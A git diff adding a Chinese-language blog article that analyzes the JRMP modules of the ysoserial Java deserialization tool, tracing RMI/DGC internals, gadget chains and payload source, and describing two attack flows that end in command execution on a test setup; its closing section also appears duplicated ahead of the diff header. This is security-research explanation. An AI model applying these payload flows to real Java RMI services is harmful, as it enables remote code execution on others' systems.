+到这里 payloads/JRMPClient 就分析完了。大体上就是开启监听(以便于与 exploit/JRMPListener 通信),然后调用 dirty 方法,与恶意服务器通信,反序列化恶意服务器返回的数据,从而造成攻击。
+
+#### exploit/JRMPListener
+
+###### main 方法
+
+![](https://changeyourway.github.io/images/QQ_1724717615699.png)
+
+main 方法中同样提示了使用此类需要三个参数:端口号、payload 类型、payload 参数(也就是要执行的命令)。
+
+接着调用了 JRMPListener 的 run 方法,且存在调用链:main -> run -> doMessage -> doCall 。
+
+###### run 方法
+
+run 方法实现了一个简单的多线程服务器,用于接收和处理来自客户端的连接,并基于传输协议进行相应的操作。run 方法首先会从数据流中读取数据:
+
+![](https://changeyourway.github.io/images/QQ_1724753461829.png)
+
+然后会根据 protocol 的值来调用不同的处理逻辑:
+
+![](https://changeyourway.github.io/images/QQ_1724753578494.png)
+
+无论是第一种基于流的协议,还是第二种用于单次操作的协议,最后都会调用 doMessage 方法。如果是其他的协议则会报错。JRMP 协议通常是基于流的,所以会走第一个 case 。
+
+###### doMessage 方法
+
+doMessage 方法同样是根据接收到的数据执行不同的操作:
+
+![](https://changeyourway.github.io/images/QQ_1724754810299.png)
+
+如果接收到的数据是一个 RMI 请求,那么调用 doCall 方法;
+
+如果是一个 ping 消息,那么响应一个 PingAck 消息,表示服务器收到了 ping 请求并确认连接正常;
+
+如果是一个 DGC 的应答包,那么使用 UID.read(in) 从输入流中读取 UID 对象,这通常与远程对象的生命周期管理相关。
+
+###### doCall 方法
+
+docall 方法首先是定义了一个匿名内部类 ObjectInputStream ,重写了 ObjectInputStream 中的 resolveClass 方法,然后实例化了一个对象:
+
+![](https://changeyourway.github.io/images/QQ_1724809147946.png)
+
+匿名内部类没有名字,并且在定义时就直接实例化。它允许你在方法内部或局部范围内定义类,同时重写或扩展父类(或接口)的功能。
+
+在这个匿名内部类中,重写了 ObjectInputStream 的 resolveClass 方法。resolveClass 方法的作用是在反序列化过程中,根据 ObjectStreamClass 对象的描述信息来加载实际的类。
+
+如果类名是 “\[Ljava.rmi.server.ObjID;”(表示 ObjID\[\] 数组),则返回 ObjID\[\].class 。
+
+如果类名是 “java.rmi.server.ObjID”,则返回 ObjID.class 。
+
+如果类名是 “java.rmi.server.UID”,则返回 UID.class 。
+
+如果遇到其他类名,则抛出 IOException 。
+
+也就是说,在这里允许反序列化的类有三个:ObjID\[\].class 、ObjID.class 和 UID.class 。其他的类是不允许反序列化的,这样就避免了服务端被攻击。
+
+接下来 doCall 方法读取了一个 ObjID 对象,并且如果 read.hashCode() == 2 ,那么表示这是一次 DGC 调用:
+
+![](https://changeyourway.github.io/images/QQ_1724809638320.png)
+
+read.hashCode() 方法其实就是返回了它的 objNum 属性:
+
+![](https://changeyourway.github.io/images/QQ_1724809751613.png)
+
+前面在分析 DGC 处理逻辑的时候也提到了 ObjID 对象的 objNum 属性值是 2 ,这里放一张原图吧:
+
+![](https://changeyourway.github.io/images/QQ_1724174049827.png)
+
+所以 doCall 也通过这种方式来判断是否是 DGC 调用。
+
+doCall 方法的最后,服务端向客户端返回一个 BadAttributeValueExpException 异常,恶意对象 payload 就被放置在这个 BadAttributeValueExpException 的 val 属性值当中了:
+
+![](https://changeyourway.github.io/images/QQ_1724810206150.png)
+
+这里写入数据 `oos.writeByte(TransportConstants.ExceptionalReturn)` 表明是一个异常返回,其值是 2 :
+
+![](https://changeyourway.github.io/images/QQ_1724810724663.png)
+
+payloads/JRMPClient 中提到过,客户端应该是在 StreamRemoteCall 的 executeCall() 方法反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724312870988.png)
+
+那么 exploit/JRMPListener 的分析到这里就结束了。
+
+#### 测试使用
+
+在测试之前,先修改一下 PayloadRunner.run 方法,因为在前面调试的时候知道这个 run 方法为 getObject 方法设置的参数不合理,所以这里修改一下参数:
+
+![](https://changeyourway.github.io/images/QQ_1724813562015.png)
+
+然后为 exploit/JRMPListener 设置一下运行参数:
+
+![](https://changeyourway.github.io/images/QQ_1724813749790.png)
+
+先启动 exploit/JRMPListener ,再运行 payloads/JRMPClient ,就可以成功弹出计算器了:
+
+![](https://changeyourway.github.io/images/QQ_1724813809584.png)
+
+事实上,如果参数可控,那么只要客户端向恶意服务端执行了一个 lookup 方法,就会遭受攻击:
+
+![](https://changeyourway.github.io/images/QQ_1724813922372.png)
+
+这样也是可以的。
+
+## 总结
+
+ysoserial 中的 JRMP 模块可以作为针对 DGC 攻击的经典范例。
+
+## 参考文章
+
+[ysoserial exploit/JRMPListener 原理剖析](https://blog.csdn.net/qsort_/article/details/104969138)
+
+[ysoserial exploit/JRMPClient 原理剖析](https://blog.csdn.net/qsort_/article/details/104874111)
+
+[Ysoserial-JRMPListener/JRMPClient 学习](https://stoocea.github.io/post/JRMPListener%20Client%E5%AD%A6%E4%B9%A0.html#JRMPClient-%E8%B0%83%E8%AF%95)
diff --git a/books/漏洞篇 - ysoserial 的 JRMP 模块分析.md b/books/漏洞篇 - ysoserial 的 JRMP 模块分析.md
new file mode 100644
index 0000000..0e7f9bc
--- /dev/null
+++ b/books/漏洞篇 - ysoserial 的 JRMP 模块分析.md	
@@ -0,0 +1,587 @@
+# 漏洞篇 - ysoserial 的 JRMP 模块分析
+> 2024-08-28
+> 来源:https://changeyourway.github.io/2024/08/28/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-ysoserial%E7%9A%84JRMP%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90/
+
+## JRMP 协议介绍
+
+JRMP(Java Remote Method Protocol)是为 Java RMI 设计的专有协议,负责处理 RMI 调用的实际网络传输。它是基于 TCP 的,确保了通信的可靠性和有序性。也就是说:RMI 使用 JRMP 协议来处理网络通信。
+
+当然,RMI 并不止支持 JRMP 这一种协议,还可以使用比如 IIOP 协议来进行网络通信。
+
+## ysoserial 中的 JRMP 模块
+
+通常有两种利用方式。
+
+第一种:payloads/JRMPListener + exploit/JRMPClient
+
+第二种:exploit/JRMPListener + payloads/JRMPClient
+
+接下来我们会逐个分析这四个类。
+
+### payloads/JRMPListener + exploit/JRMPClient
+
+ysoserial 中的 exploit/JRMPClient 是作为攻击方的代码,一般会结合 payloads/JRMPLIstener 使用,攻击流程就是:
+
+1、先往存在漏洞的服务器发送 payloads/JRMPLIstener ,服务器反序列化该 payload 后,会开启一个 rmi 服务并监听在设置的端口
+
+2、然后攻击方在自己的服务器使用 exploit/JRMPClient 与存在漏洞的服务器进行通信,并且发送一个可命令执行的 payload,从而达到命令执行的结果。
+
+在 payloads/JRMPListener 的代码注释中,作者已经给出了调用链,这与我们在上一篇文章中分析的 UnicastRemoteObject 调用链一致,就不再赘述:
+
+```
+/**
+ * Gadget chain:
+ * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
+ * UnicastRemoteObject.reexport() line: 266
+ * UnicastRemoteObject.exportObject(Remote, int) line: 320
+ * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
+ * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
+ * LiveRef.exportObject(Target) line: 147
+ * TCPEndpoint.exportObject(Target) line: 411
+ * TCPTransport.exportObject(Target) line: 249
+ * TCPTransport.listen() line: 319
+```
+
+调用的顺序是从上往下,我们先来分析 payloads/JRMPListener 类。
+
+#### payloads/JRMPListener
+
+```
+public class JRMPListener extends PayloadRunner implements ObjectPayload {
+
+    public UnicastRemoteObject getObject(final String command) throws Exception {
+        int jrmpPort = Integer.parseInt(command);
+        UnicastRemoteObject uro = Reflections.createWithConstructor(
+            ActivationGroupImpl.class,
+            RemoteObject.class,
+            new Class[]{
+                RemoteRef.class
+            },
+            new Object[]{
+                new UnicastServerRef(jrmpPort)
+            });
+
+        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
+        return uro;
+    }
+
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(JRMPListener.class, args);
+    }
+}
+```
+
+它的 getObject 方法就是用来获取一个 UnicastRemoteObject 对象,这个对象被反序列化就会开启监听。
+
+getObject 方法有一个参数,就是要设置的端口号,当目标服务器反序列化 UnicastRemoteObject 对象时,开启监听就是监听这个端口。
+
+接着调用了 Reflections 的 createWithConstructor 方法。Reflections 是 ysoserial 中自定义的类,位于 ysoserial.payloads.util 包中。Reflections 的 createWithConstructor 方法:
+
+```
+public static  T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs )
+        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+    Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+ setAccessible(objCons);
+    Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+ setAccessible(sc);
+    return (T)sc.newInstance(consArgs);
+}
+```
+
+这个方法有四个参数,第一个参数是要被实例化的类,第二个参数是要被获取构造方法的类,第三个和第四个参数则分别是构造方法需要的参数类型和参数值。
+
+所以这里调用 Reflections 的 createWithConstructor 方法实际是利用 RemoteObject 的构造方法创建了一个 ActivationGroupImpl 对象,并将 new UnicastServerRef(jrmpPort) 作为构造方法的参数:
+
+![](https://changeyourway.github.io/images/QQ_1723910760462.png)
+
+最后用 UnicastRemoteObject 接收,完成了向上转型。由于 ActivationGroupImpl 继承了 ActivationGroup ,ActivationGroup 又继承了 UnicastRemoteObject ,且 ActivationGroupImpl 和 ActivationGroup 都没有重写 readObject 方法,所以当 ActivationGroupImpl 对象被反序列化时,会调用 UnicastRemoteObject 的 readObject 方法。
+
+事实上,这里除了使用 ActivationGroupImpl 类,直接使用 UnicastRemoteObject 类也是可以的。
+
+后面主函数中调用的 PayloadRunner.run 方法就是先调用 JRMPListener 的 getObject 方法,将获取到的对象序列化再反序列化,只是测试用的。
+
+那么到这里 payloads/JRMPListener 就分析完了,接下来分析 exploit/JRMPClient 。
+
+#### exploit/JRMPClient
+
+作者在本类的注释中说明了 exploit/JRMPClient 的功能:
+
+1.  目标是远程 DGC ,只要有监听,那么就一定存在 DGC(分布式垃圾回收)。
+2.  不反序列化任何数据,意思是不接收服务端发送的任何数据,这样就避免了被反过来攻击。
+
+```
+/**
+ * Generic JRMP client
+ * 
+ * Pretty much the same thing as {@link RMIRegistryExploit} but 
+ * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
+ * - not deserializing anything (so you don't get yourself exploited ;))
+ * 
+ * @author mbechler
+ *
+ */
+```
+
+exploit/JRMPClient 中有一个主要的方法 makeDGCCall 和一个静态内部类 MarshalOutputStream 。
+
+###### makeDGCCall 方法
+
+1.  **参数说明**:
+    
+    -   `hostname`:目标主机名或 IP 地址。
+    -   `port`:目标主机的端口号。
+    -   `payloadObject`:需要发送的序列化对象。
+2.  **建立连接**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933428087.png)
+    -   `SocketFactory.getDefault().createSocket(hostname, port)`:通过默认的套接字工厂创建与目标主机的 TCP 连接。
+    -   `s.setKeepAlive(true)`:启用 TCP 的保活功能,以保持连接活跃。
+    -   `s.setTcpNoDelay(true)`:禁用 Nagle 算法,立即发送数据,而不等待更多的数据。
+3.  **准备数据流**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933451649.png)
+    -   `DataOutputStream`:包装 `OutputStream`,以便写入原始数据类型。
+4.  **发送 RMI 协议的标志和版本信息**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933478376.png)
+    -   `Magic`:RMI 协议的标识符,用于验证连接。
+    -   `Version`:协议版本号。
+    -   `SingleOpProtocol`:指示该连接只用于单次操作。
+5.  **发送 DGC 操作的调用标志**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933511287.png)
+    -   发送一个字节,表示是一次 RMI 调用。
+6.  **序列化对象并发送**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933610786.png)
+    -   `MarshalOutputStream` 就是 exploit/JRMPClient 的静态内部类,一个自定义的 `ObjectOutputStream` 的子类,用于序列化对象。MarshalOutputStream 中并没有重写 writeLong 、writeInt 等方法,实际还是调用的 ObjectOutputStream 中的方法。
+    -   发送一些固定的标识符和数据,用于 DGC 协议。
+    -   最后,序列化并发送 `payloadObject` 。
+7.  **清理资源**:
+    
+    ![](https://changeyourway.github.io/images/QQ_1723933974996.png)
+    -   确保在方法结束时关闭数据流和套接字,以释放资源。
+
+###### main 方法
+
+![](https://changeyourway.github.io/images/QQ_1724056250811.png)
+
+在主函数中先是判断了一下参数长度是否小于 4 ,如果小于 4 的话输出报错信息: ,这意味这要想成功运行 exploit/JRMPClient 需要提供四个参数:主机地址、端口号、payload 类型、payload 参数(也就是要执行的命令),就像这样:  
+![](https://changeyourway.github.io/images/QQ_1724056537568.png)
+
+接着用 Utils.makePayloadObject 创建 payload 对象,这里用到了参数 3 和参数 4 。Utils 是 ysoserial 中自定义的工具类,位于 ysoserial.payloads 包中,它的 makePayloadObject 方法会根据要使用的 gadget 和要执行的命令创建 payload 对象。这里就不深究了。
+
+最后就是调用 makeDGCCall 方法将 payload 对象序列化发送到目标地址。
+
+#### DGC 处理逻辑
+
+客户端发送的 payload ,其实是利用了服务端的 DGC 机制来反序列化,那么就具体来看 DGC 端的处理逻辑。
+
+###### DGC 创建
+
+在远程对象导出的时候,最终我们是来到了 ObjectTable 的 putTarget(Target) 方法。
+
+回顾一下远程对象导出流程:
+
+```
+UnicastRemoteObject#exportObject(Remote, UnicastServerRef)
+UnicastServerRef#exportObject(Remote, Object, boolean)
+	-> Util#createProxy(Class, RemoteRef, boolean) // 创建代理对象
+	-> LiveRef#exportObject(Target)
+	   TCPEndpoint#exportObject(Target)
+	   TCPTransport#exportObject(Target)
+	       -> TCPTransport#listen()	// 开启监听
+	       -> Transport#exportObject(Target)
+	          ObjectTable#putTarget(Target)	// 远程对象导出
+```
+
+ObjectTable 的 putTarget 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724059306246.png)
+
+这里调用了 DGCImpl 的静态变量 dgcLog ,那么在调用静态变量之前就会对 DGCImpl 进行初始化,就会执行 DGCImpl 的静态代码块。
+
+DGCImpl 的静态代码块就是新开一个线程,获取一个 DGCImpl 对象,然后把 DGCImpl 对象封装进一个 Target 对象里面,最后又调用
+
+ObjectTable 的 putTarget 方法将这个 Target 对象注册到 ObjectTable 中,使其可以通过 RMI 系统访问:
+
+![](https://changeyourway.github.io/images/QQ_1724060483208.png)
+
+以上就是 DGC 被创建的过程。
+
+###### DGC 调用
+
+当客户端向服务端发起通信时,服务端会调用 TCPTransport 的 handleMessages 来处理请求,与 RMI 调用相似。
+
+来回顾一下服务端的处理逻辑:
+
+```
+TCPTransport$ConnectionHandler.run0
+TCPTransport.handleMessages
+Transport.serviceCall
+UnicastServerRef.dispatch
+UnicastServerRef.oldDispatch
+```
+
+而最终调用 RegistryImpl\_Skel 的 dispatch 还是 DGCImpl\_Skel 的 dispatch 是在 Transport.serviceCall 方法中判断的。
+
+exploit/JRMPClient 的 makeDGCCall 方法向数据流中写入了很多数据,我们可以看看这些数据是如何被接收的。
+
+TCPTransport$ConnectionHandler.run0 方法从数据流中读取数据,这里读取一个 int 数据:
+
+![](https://changeyourway.github.io/images/QQ_1724168702468.png)
+
+然后又读取一个 short 数据:
+
+![](https://changeyourway.github.io/images/QQ_1724168768275.png)
+
+然后又读取一个 byte 数据,进入 switch 选择语句:
+
+![](https://changeyourway.github.io/images/QQ_1724168820419.png)
+
+这与 exploit/JRMPClient 的 makeDGCCall 方法第四步:发送 RMI 协议的标志和版本信息,相对应起来了。
+
+由于前面客户端发送的是 TransportConstants.SingleOpProtocol,所以这里进入 `case TransportConstants.SingleOpProtocol` ,也就会调用 handleMessages 。
+
+在 TCPTransport 的 handleMessages 方法中也有与 exploit/JRMPClient 的 makeDGCCall 方法第五步对应的 read 方法的调用:  
+![](https://changeyourway.github.io/images/QQ_1724174173215.png)
+
+接下来调用 Transport 的 serviceCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178566157.png)
+
+跟进 Transport 的 serviceCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724163908708.png)
+
+可以看到,这里定义了一个参数 id ,这个 id 是通过读取参数 call 的输入流来获取的。
+
+跟进一下 ObjID.read 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178878201.png)
+
+这里读取了一个 long 数据。
+
+再跟进 UID.read 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724178953778.png)
+
+连续读取了 int、long、short 数据。
+
+这两步与 exploit/JRMPClient 的 makeDGCCall 方法的第六步相对应,那里写入的数值正是用来设置这个 id 值的,往后看会发现这样设置是为了使 id 值与 dgcID 相等。
+
+回到 Transport 的 serviceCall 方法,接着对这个 id 进行一个判断,如果 id 等于 dgcID ,那么会将 Transport 对象设置为空,否则设置成当前类。之后又会利用 id 和这个 Transport 对象构造一个 Target 对象:
+
+![](https://changeyourway.github.io/images/QQ_1724164146984.png)
+
+调试起来会发现 dgcID 的值如图所示,而此时 id 的值与之相等:
+
+![](https://changeyourway.github.io/images/QQ_1724174049827.png)
+
+此时获取到的 Target 对象中包含的 skel 就已经是 DGCImpl\_Skel 对象了,所以其实在这里就决定了最后调用的是 RegistryImpl\_Skel 还是 DGCImpl\_Skel :  
+![](https://changeyourway.github.io/images/QQ_1724177054444.png)
+
+然后获取 Target 对象中的 disp 属性,也就是一个 UnicastServerRef 对象,最后调用 UnicastServerRef 的 dispatch 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724164356124.png)
+
+UnicastServerRef 的 dispatch 方法会调用其 oldDispatch 方法,还读取了一个 int 数据,将 num 设置为 1 ,然后作为 oldDispatch 的 参数传入:
+
+![](https://changeyourway.github.io/images/QQ_1724179555971.png)
+
+UnicastServerRef 的 oldDispatch 方法读取了最后一个 long 数据,到这里数据流中写入的数据就被读取完了,这里的 op 是 1,hash 是 -669196253586618813L,作为 skel.dispatch 方法的参数传入:  
+![](https://changeyourway.github.io/images/QQ_1724179804780.png)
+
+接着会调用 DGCImpl\_Skel 的 dispatch 方法,首先会判断这个 hash 值是否等于 -669196253586618813L :
+
+![](https://changeyourway.github.io/images/QQ_1724179898057.png)
+
+所以 exploit/JRMPClient 才要往数据流中写入一个那样的数据。
+
+此时 opnum 值为 1 ,进入 case 1:
+
+![](https://changeyourway.github.io/images/QQ_1724181015341.png)
+
+case0 和 case1 的区别在于 case0 调用 clean 方法,而 case1 调用 dirty 方法。这里选用了 case1 。
+
+最后在这里触发反序列化。
+
+以上就是 DGC 调用的过程了,exploit/JRMPClient 向数据流写入的每一个数据都是有意义的,不得不赞叹其精妙。
+
+#### 测试使用
+
+先启动 payloads/JRMPListener ,再启动 exploit/JRMPClient(记得启动时要带上参数),我爆出了如下错误:
+
+![](https://changeyourway.github.io/images/QQ_1724183339425.png)
+
+看来是被拦截了,有某种安全机制阻止我反序列化 HashSet 这个类。可能是高版本的 JEP 290 导致的。
+
+将 JDK 版本降为 8u65 后成功运行并弹出计算器:
+
+![](https://changeyourway.github.io/images/QQ_1724184133250.png)
+
+### exploit/JRMPListener + payloads/JRMPClient
+
+攻击流程如下:
+
+1、攻击方在自己的服务器使用 exploit/JRMPListener 开启一个 rmi 监听
+
+2、往存在漏洞的服务器发送 payloads/JRMPClient ,payload 中已经设置了攻击者服务器 ip 及 JRMPListener 监听的端口,漏洞服务器反序列化该 payload 后,会去连接攻击者开启的 rmi 监听,在通信过程中,攻击者服务器会发送一个可执行命令的 payload,从而达到命令执行的目的。
+
+#### payloads/JRMPClient
+
+作者在注释中给出了调用链:
+
+```
+* UnicastRef.newCall(RemoteObject, Operation[], int, long)
+* DGCImpl_Stub.dirty(ObjID[], long, Lease)
+* DGCClient$EndpointEntry.makeDirtyCall(Set, long)
+* DGCClient$EndpointEntry.registerRefs(List)
+* DGCClient.registerRefs(Endpoint, List)
+* LiveRef.read(ObjectInput, boolean)
+* UnicastRef.readExternal(ObjectInput)
+*
+* Thread.start()
+* DGCClient$EndpointEntry.(Endpoint)
+* DGCClient$EndpointEntry.lookup(Endpoint)
+* DGCClient.registerRefs(Endpoint, List)
+* LiveRef.read(ObjectInput, boolean)
+* UnicastRef.readExternal(ObjectInput)
+```
+
+从下往上看,入口点是 UnicastRef 的 readExternal 方法。UnicastRef 继承了 java.io.Externalizable ,所以在反序列化时会触发其 readExternal 方法。
+
+然后在 DGCClient.registerRefs(Endpoint, List) 处出现分支选项,所以出现两条链子。
+
+来看代码,payloads/JRMPClient 的 getObject 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724289641064.png)
+
+首先是从参数中分割出主机名和端口号,如果没有设置,则随机生成一个端口号。
+
+然后获取一个 UnicastRef 对象,设置好参数。再将其封装进 RemoteObjectInvocationHandler 对象,最后利用这个 RemoteObjectInvocationHandler 对象生成一个代理对象。那么这个 proxy 在被反序列化时就会先调用 RemoteObjectInvocationHandler 的父类 RemoteObject 的 readObject 方法。
+
+接下来看 main 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724292494481.png)
+
+第一行是将当前线程的上下文类加载器(Context ClassLoader)设置为 `JRMPClient` 类的类加载器。
+
+第二行就是调用 PayloadRunner.run 方法,前面说过了,PayloadRunner.run 方法就是先调用传入对象的 getObject 方法,将获取到的对象序列化再反序列化。
+
+下面我们调试一下 payloads/JRMPClient 。在 RemoteObject.readObject 和 UnicastRef.readExternal 处下好断点,开始调试:
+
+首先来到了 PayloadRunner.run 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724293269674.png)
+
+这里调用 getObject 方法时为其设置的参数是 “calc.exe” ,我觉得很奇怪,继续跟进 payloads/JRMPClient 的 getObject 方法往下看:
+
+![](https://changeyourway.github.io/images/QQ_1724293449076.png)
+
+果然获取到的 host 是 “calc.exe” ,而端口号是随机生成的 11871 。
+
+之后就是把这个 host 封装进了 TCPEndpoint :
+
+![](https://changeyourway.github.io/images/QQ_1724293884566.png)
+
+后面就没什么可看的了,回到 PayloadRunner.run:
+
+![](https://changeyourway.github.io/images/QQ_1724293980794.png)
+
+接下来会调用 Serializer.serialize 将结果序列化。
+
+跟进 Serializer.serialize:
+
+![](https://changeyourway.github.io/images/QQ_1724294079895.png)
+
+最后所有的一切都会封装进 serialized 数组,然后调用 Deserializer.deserialize 将其反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724294231110.png)
+
+Deserializer.deserialize:
+
+![](https://changeyourway.github.io/images/QQ_1724294411540.png)
+
+以上就是 PayloadRunner.run 方法的工作流程。
+
+继续跟进,来到了 RemoteObject.readObject 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724294547847.png)
+
+在方法的最后调用 ref.readExternal ,也就是 UnicastRef.readExternal 方法。
+
+继续跟进 UnicastRef.readExternal 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724295149656.png)
+
+调用 LiveRef.read ,继续跟进 LiveRef.read :
+
+![](https://changeyourway.github.io/images/QQ_1724295257151.png)
+
+在方法的最后调用了 DGCClient.registerRefs ,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724295325919.png)
+
+在这里分化出了两条路,一条是 EndpointEntry.lookup ,一条是 EndpointEntry.registerRefs 。
+
+先来看 EndpointEntry.lookup :
+
+![](https://changeyourway.github.io/images/QQ_1724295772484.png)
+
+这里调用了 DGCClient$EndpointEntry 的构造方法,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724297323680.png)
+
+这里调用了 renewCleanThread.start ,其实就是 Thread.start ,单开一个线程用于通信。
+
+那么这个分支就结束了。
+
+接下来看另一边 EndpointEntry.registerRefs ,在 EndpointEntry.registerRefs 方法的最后调用了 makeDirtyCall :
+
+![](https://changeyourway.github.io/images/QQ_1724298026501.png)
+
+跟进 DGCClient$EndpointEntry.makeDirtyCall 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724298246831.png)
+
+这里调用了 dgc.dirty ,也就是 DGCImpl\_Stub 的 dirty 方法,跟进它:
+
+![](https://changeyourway.github.io/images/QQ_1724298359708.png)
+
+这个方法的架构和 RegistryImpl\_Stub 的 bind 方法差不多,都调用了 UnicastRef 的 newCall 方法、invoke 方法和 done 方法。
+
+UnicastRef 的 newCall 方法发起一个远程调用,并传递相关的信息;invoke 方法执行实际的远程方法调用,负责整个从发起调用到接收结果的过程。它处理了网络通信、序列化/反序列化、以及异常处理;done 方法在远程方法调用结束后进行资源清理和上下文关闭,确保系统资源得以释放,避免资源泄漏。
+
+UnicastRef 的 invoke 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724312349091.png)
+
+调用 call.executeCall() ,实际上是调的 StreamRemoteCall.executeCall() 方法。
+
+StreamRemoteCall 的 executeCall() 方法:
+
+![](https://changeyourway.github.io/images/QQ_1724312870988.png)
+
+这里根据 returnType 来判断如果正常的话直接返回,异常的话则反序列化服务端传来的对象。
+
+回到 DGCImpl\_Stub 的 dirty 方法,在上一步中如果判断正常,那么最后是在这里反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724308437303.png)
+
+到这里 payloads/JRMPClient 就分析完了。大体上就是开启监听(以便于与 exploit/JRMPListener 通信),然后调用 dirty 方法,与恶意服务器通信,反序列化恶意服务器返回的数据,从而造成攻击。
+
+#### exploit/JRMPListener
+
+###### main 方法
+
+![](https://changeyourway.github.io/images/QQ_1724717615699.png)
+
+main 方法中同样提示了使用此类需要三个参数:端口号、payload 类型、payload 参数(也就是要执行的命令)。
+
+接着调用了 JRMPListener 的 run 方法,且存在调用链:main -> run -> doMessage -> doCall 。
+
+###### run 方法
+
+run 方法实现了一个简单的多线程服务器,用于接收和处理来自客户端的连接,并基于传输协议进行相应的操作。run 方法首先会从数据流中读取数据:
+
+![](https://changeyourway.github.io/images/QQ_1724753461829.png)
+
+然后会根据 protocol 的值来调用不同的处理逻辑:
+
+![](https://changeyourway.github.io/images/QQ_1724753578494.png)
+
+无论是第一种基于流的协议,还是第二种用于单次操作的协议,最后都会调用 doMessage 方法。如果是其他的协议则会报错。JRMP 协议通常是基于流的,所以会走第一个 case 。
+
+###### doMessage 方法
+
+doMessage 方法同样是根据接收到的数据执行不同的操作:
+
+![](https://changeyourway.github.io/images/QQ_1724754810299.png)
+
+如果接收到的数据是一个 RMI 请求,那么调用 doCall 方法;
+
+如果是一个 ping 消息,那么响应一个 PingAck 消息,表示服务器收到了 ping 请求并确认连接正常;
+
+如果是一个 DGC 的应答包,那么使用 UID.read(in) 从输入流中读取 UID 对象,这通常与远程对象的生命周期管理相关。
+
+###### doCall 方法
+
+docall 方法首先是定义了一个匿名内部类 ObjectInputStream ,重写了 ObjectInputStream 中的 resolveClass 方法,然后实例化了一个对象:
+
+![](https://changeyourway.github.io/images/QQ_1724809147946.png)
+
+匿名内部类没有名字,并且在定义时就直接实例化。它允许你在方法内部或局部范围内定义类,同时重写或扩展父类(或接口)的功能。
+
+在这个匿名内部类中,重写了 ObjectInputStream 的 resolveClass 方法。resolveClass 方法的作用是在反序列化过程中,根据 ObjectStreamClass 对象的描述信息来加载实际的类。
+
+如果类名是 “\[Ljava.rmi.server.ObjID;”(表示 ObjID\[\] 数组),则返回 ObjID\[\].class 。
+
+如果类名是 “java.rmi.server.ObjID”,则返回 ObjID.class 。
+
+如果类名是 “java.rmi.server.UID”,则返回 UID.class 。
+
+如果遇到其他类名,则抛出 IOException 。
+
+也就是说,在这里允许反序列化的类有三个:ObjID\[\].class 、ObjID.class 和 UID.class 。其他的类是不允许反序列化的,这样就避免了服务端被攻击。
+
+接下来 doCall 方法读取了一个 ObjID 对象,并且如果 read.hashCode() == 2 ,那么表示这是一次 DGC 调用:
+
+![](https://changeyourway.github.io/images/QQ_1724809638320.png)
+
+read.hashCode() 方法其实就是返回了它的 objNum 属性:
+
+![](https://changeyourway.github.io/images/QQ_1724809751613.png)
+
+前面在分析 DGC 处理逻辑的时候也提到了 ObjID 对象的 objNum 属性值是 2 ,这里放一张原图吧:
+
+![](https://changeyourway.github.io/images/QQ_1724174049827.png)
+
+所以 doCall 也通过这种方式来判断是否是 DGC 调用。
+
+doCall 方法的最后,服务端向客户端返回一个 BadAttributeValueExpException 异常,恶意对象 payload 就被放置在这个 BadAttributeValueExpException 的 val 属性值当中了:
+
+![](https://changeyourway.github.io/images/QQ_1724810206150.png)
+
+这里写入数据 `oos.writeByte(TransportConstants.ExceptionalReturn)` 表明是一个异常返回,其值是 2 :
+
+![](https://changeyourway.github.io/images/QQ_1724810724663.png)
+
+payloads/JRMPClient 中提到过,客户端应该是在 StreamRemoteCall 的 executeCall() 方法反序列化:
+
+![](https://changeyourway.github.io/images/QQ_1724312870988.png)
+
+那么 exploit/JRMPListener 的分析到这里就结束了。
+
+#### 测试使用
+
+在测试之前,先修改一下 PayloadRunner.run 方法,因为在前面调试的时候知道这个 run 方法为 getObject 方法设置的参数不合理,所以这里修改一下参数:
+
+![](https://changeyourway.github.io/images/QQ_1724813562015.png)
+
+然后为 exploit/JRMPListener 设置一下运行参数:
+
+![](https://changeyourway.github.io/images/QQ_1724813749790.png)
+
+先启动 exploit/JRMPListener ,再运行 payloads/JRMPClient ,就可以成功弹出计算器了:
+
+![](https://changeyourway.github.io/images/QQ_1724813809584.png)
+
+事实上,如果参数可控,那么只要客户端向恶意服务端执行了一个 lookup 方法,就会遭受攻击:
+
+![](https://changeyourway.github.io/images/QQ_1724813922372.png)
+
+这样也是可以的。
+
+## 总结
+
+ysoserial 中的 JRMP 模块可以作为针对 DGC 攻击的经典范例。
+
+## 参考文章
+
+[ysoserial exploit/JRMPListener 原理剖析](https://blog.csdn.net/qsort_/article/details/104969138)
+
+[ysoserial exploit/JRMPClient 原理剖析](https://blog.csdn.net/qsort_/article/details/104874111)
+
